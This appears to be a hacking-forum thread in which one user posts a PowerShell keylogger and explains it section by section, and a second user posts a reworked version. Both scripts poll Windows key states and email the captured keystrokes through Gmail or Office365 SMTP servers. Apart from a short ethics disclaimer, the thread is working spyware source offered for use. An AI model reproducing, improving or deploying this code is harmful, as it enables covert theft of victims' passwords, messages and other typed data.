

Forum:[Hack Forums](#)

Thread: [PowerShell Keylogger](#)

Clumsy - June 25, 2024, 12:24 pm

First off let's explain what I have made.

Code Add-Type @"

using System;

using System.Runtime.InteropServices;

"@

class KeyLogger {

[string]\$log = "Key started"

[int]\$interval

[string]\$username

[string]\$password

[string]\$email

KeyLogger([int]\$time_interval, [string]\$email, [string]\$username, [string]\$password) {

\$this.interval = \$time_interval

\$this.username = \$username

\$this.password = \$password

\$this.email = \$email

}

[void]Start() {

while (\$true) {

\$this.Report()

Start-Sleep -Milliseconds \$this.interval

}

}

[void]AppendToLog([string]\$content) {

\$this.log += \$content

}

[void]Report() {

for (\$key = 1; \$key -le 255; \$key++) {

\$state = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()

\$state = [System.Runtime.InteropServices.Marshal]::GetAsyncKeyState(\$key)

if (\$state -eq -32767) {

\$currentKey = [char]\$key

\$this.AppendToLog(\$currentKey)

}

}

if (\$this.log.Length -gt 0) {

\$this.SendEmail("`n`n" + \$this.log)

```

        $this.log = ""
    }
}

[void]SendEmail([string]$message) {
    $smtpServer = "smtp.gmail.com"
    $smtpPort = 587
    $smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
    $smtp.EnableSsl = $true
    $smtp.Credentials = New-Object Net.NetworkCredential($this.username, $this.password)

    $smtp.Send($this.email, $this.email, $message)
}

}

if ($MyInvocation.ScriptName -eq $null) {
    $kl = New-Object KeyLogger -ArgumentList 120, 'email@server.example.com', '[Hello]', '[Hello]'
    $kl.Start()
}

```

Understanding a PowerShell Keylogger Script

In this exploration, we delve into a PowerShell script that simulates a basic keylogger. Before delving into the code, it's essential to emphasize the ethical and legal implications of creating keyloggers. The use of such tools without explicit consent is not only unethical but may also be illegal. It's crucial to ensure compliance with privacy and security standards and obtain proper authorization.

Now, let's dissect the script:

Loading Necessary Assemblies:

Code Add-Type @" using System; using System.Runtime.InteropServices; @"

This part introduces the necessary .NET assemblies - System and System.Runtime.InteropServices. These assemblies enable access to .NET types and facilitate the invocation of functions from unmanaged code.

KeyLogger Class:

Code class KeyLogger {

Properties

[string]\$log = "Key started"

[int]\$interval

[string]\$username

[string]\$password

[string]\$email

Constructor

KeyLogger([int]\$time_interval, [string]\$email, [string]\$username, [string]\$password) {

Initialization

\$this.interval = \$time_interval

\$this.username = \$username

\$this.password = \$password

\$this.email = \$email

}

```

# Method to start keylogging
[void]Start() {
    while ($true) {
        $this.Report()
        Start-Sleep -Milliseconds $this.interval
    }
}

# Method to append content to the log
[void]AppendToLog([string]$content) {
    $this.log += $content
}

# Method to report key presses
[void]Report() {
    for ($key = 1; $key -le 255; $key++) {
        $state = [System.Runtime.InteropServices.Marshal]::GetAsyncKeyState($key)
        if ($state -eq -32767) {
            $currentKey = [char]$key
            $this.AppendToLog($currentKey)
        }
    }

    if ($this.log.Length -gt 0) {
        $this.SendEmail("`n`n" + $this.log)
        $this.log = ""
    }
}

# Method to send log content via email
[void]SendEmail([string]$message) {
    $smtpServer = "smtp.gmail.com"
    $smtpPort = 587
    $smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
    $smtp.EnableSsl = $true
    $smtp.Credentials = New-Object Net.NetworkCredential($this.username, $this.password)

    $smtp.Send($this.email, $this.email, $message)
}
}

```

This section defines the KeyLogger class. It encapsulates properties for log storage, interval duration, email credentials, and methods for starting the keylogging process, appending to the log, reporting key presses, and sending the log via email.

Script Execution:

```

Code if ($MyInvocation.ScriptName -eq $null) {
    $kl = New-Object KeyLogger -ArgumentList 120,
'no-reply@Taylor.ChristianNewsome@OWASP.org', '[Hello]', '[Hello]'
    $kl.Start()
}

```

This part checks if the script is run directly and, if so, creates an instance of the KeyLogger class with specific parameters and starts the keylogging loop.

samir5000 - August 20, 2024, 10:09 am

Hi very nice script, but one question when i run the script i have the following message "WARNING: The generated type is not public". I figured it out, they say the class should be public. But it doesn't work for me. Can you help me with this.

samir5000 - August 26, 2024, 9:53 am

```
Code class Keylogger{
    [string]$log = "Key started"

    [void]Start(){
        while ($true) {
            $this.Report()
        }
    }

    [void]AppendToLog([string]$content){
        $this.log += $content
    }

    [void]Report(){
        $keypress = @'
        [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
        public static extern short GetAsyncKeyState(int vkey);
'@
        $GetKeyPress = Add-Type -MemberDefinition $keypress -Name "Win32GetState"
        -Namespace Win32Functions -PassThru

        for($key = 1; $key -le 255; $key++){

            $state = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
            $state = $GetKeyPress::GetAsyncKeyState($key)

            if($state -eq -32767){
                $currentkey = [char]$key
                $this.AppendToLog($currentkey)
            }

            if($this.log.Length -gt 300){
                $this.SendEmail("`n`n" + $this.log)
                $this.log = ""
            }
        }
    }

    [void]SendEmail([string]$message){
        $from = "your_email@hotmail.com"
        $to = "your_email@hotmail.com"
        $subject = "Check keys"
        $body = $message
        $smtpServer = "smtp.office365.com"
```

```
$smtpPort = 587
$username = "your_email@hotmail.com"
$SecurePassword = ConvertTo-SecureString "password" -AsPlainText -Force
$password = $SecurePassword

# Create a MailMessage object

$mailMessage = New-Object Net.Mail.MailMessage($from, $to, $subject, $body)

# Create a SmtpClient object and configure it
$smtpClient = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
$smtpClient.EnableSsl = $true
$smtpClient.Credentials = New-Object Net.NetworkCredential($username, $password)

# Send the email
$smtpClient.Send($mailMessage)

}
}

if($null -ne $MyInvocation.ScriptName){
    $keylogger = New-Object Keylogger
    $keylogger.Start()
}
```

The script didn't work for me, so I made some changes